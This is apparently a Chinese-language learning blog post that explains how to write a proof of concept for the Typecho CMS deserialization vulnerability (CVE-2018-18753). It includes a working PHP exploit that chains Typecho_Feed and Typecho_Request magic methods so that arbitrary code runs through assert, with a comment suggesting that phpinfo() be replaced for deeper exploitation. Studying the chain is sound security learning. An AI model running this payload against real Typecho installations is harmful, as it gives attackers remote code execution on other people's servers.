1、引言:
最近刚开始学习PHP的反序列化漏洞,磕了几天typecho的反序列化漏洞,发现对漏洞的发现思路很多文章都写了,但对POC的如何编写反而都是一笔带过,借鉴了几篇文章,想写一下这个poc的编写思路。
typecho反序列化漏洞发现思路,直接参考别的博主,就不在叙述了:记一次typecho反序列化漏洞的复现(第一次写poc版)_漏洞poc-CSDN博客CVE-2018-18753 Typecho 反序列化漏洞 分析复现-CSDN博客
拜谢前辈。
2、POC复现
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()'; //替换phpinfo()这里进行深度利用
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
代码主要分为四块:
第一块是构建Typecho_Feed类,第二块是构建typecho_Request类,第三块创建个数组,第四则是输出。
先讲最简单的,第四块,已经知道传参点是在install.php中的‘__typecho_config’在如下的代码中,对参入的参数经过get函数后,进行了base64解码和反序列化,相应的,我们的传参则是先序列化后再base64编码。
第二则讲一下Typecho_Feed和typecho_Request两个类,为什么要创建这两个类,根据前面两篇文章,我们已经知道,我们反序列话的思路是这样,利用install.php中的__typecho_config,传入参数,随后代码执行到“$db = new Typecho_Db($config['adapter'], $config['prefix']);”后(如下)
,利用config的参数new了一个Typecho_Db对象。
在new对象的过程中触发Typecho_Db的__construnct函数,跳转到Db.php中,并对传入的第一个参数“$adapterName”进行了拼接(如下)。其实这里我们就能看出,在new对象的时候,传入的$config['adapter']就等于__construnct的“$adapterName”,所以后面的对象是要写$config['adapter']这个参数里的,惨能利用字符串拼接,触发__string()函数。
在进行字符串拼接后,即触发__string()函数,我们利用的是Feed.php中的string()函数(如下),具体利用的是$item['author']->screenName,这个是访问item数组中author键值对应的对象中的screenName属性。利用screenName属性不存在,从而触发_get()函数。
我们接着往下走,这次要利用到的是Request.php中的__get()函数,如下图,查看__get()中的值传入$this->get()方法中,图二就是get()方法,发现传入的参数最后被传入$this->_applyFilter()函数,在_applyFilter()函数中调用了我们的终极目标函数call_user_func()执行了系统命令。
让我们再回过来理一下思路,倒着推理一下,我们需要触发的是 Request.php中class Typecho_Request这个类中的__get()函数,而触发__get()是从class Typecho_Feed这个类中的__sting()函数中的一次对象访问不存在属性触发的。那我们要构建的poc肯定是要创建Typecho_Feed的对象,当这个对象在执行__sting()时,在触发ypecho_Request的__get()函数,要怎么做才能让两个类的函数发生关联呢?
这就是我们poc中在class Typecho_Feed中new一个 Typecho_Request()的对象的目的,还记得前面的Feed.php中的string()下的$item['author']->screenName,那我们的poc把$_items中的第一个对象数组item中的author键对应的值改为Typecho_Request()对象,当代码走到$item['author']->screenName,其实就是new Typecho_Request()的这个对象去访问screenName的属性,从而事项本次poc最关键的一步,两个类魔法方法的串联。
其他的就很简单了,参照源代码中class Typecho_Feed和class Typecho_Request()的构建方式,在我们的poc中填入必要的参数。构建好class Typecho_Feed和class Typecho_Request()类的结构。然后解释最后一块,创建数组。也就是我们代码的这一块。其实前面已经讲到过了,我们最初传入的config,本质上是个数组,其中的$config['adapter']其实就是传入__construnct的“$adapterName”,用来字符串拼接从而触发Typecho_Feed的__string(),所以我们构建poc的时候,传入的数组的adapter键,对应的键值就是Typecho_Feed对象,才能使该对象在__construnct()这一步中被转化成字符串。
3、结语
其实poc的一些细节讲的还不是很到位,但我觉得最难理解的就是class Typecho_Feed和class Typecho_Request()这两个类如何让魔法方法串联起来这一步,这也是这篇文章我着重仔细想讲的,第一次写,感觉可能写的还不是很清楚,希望能对小伙伴们有帮助。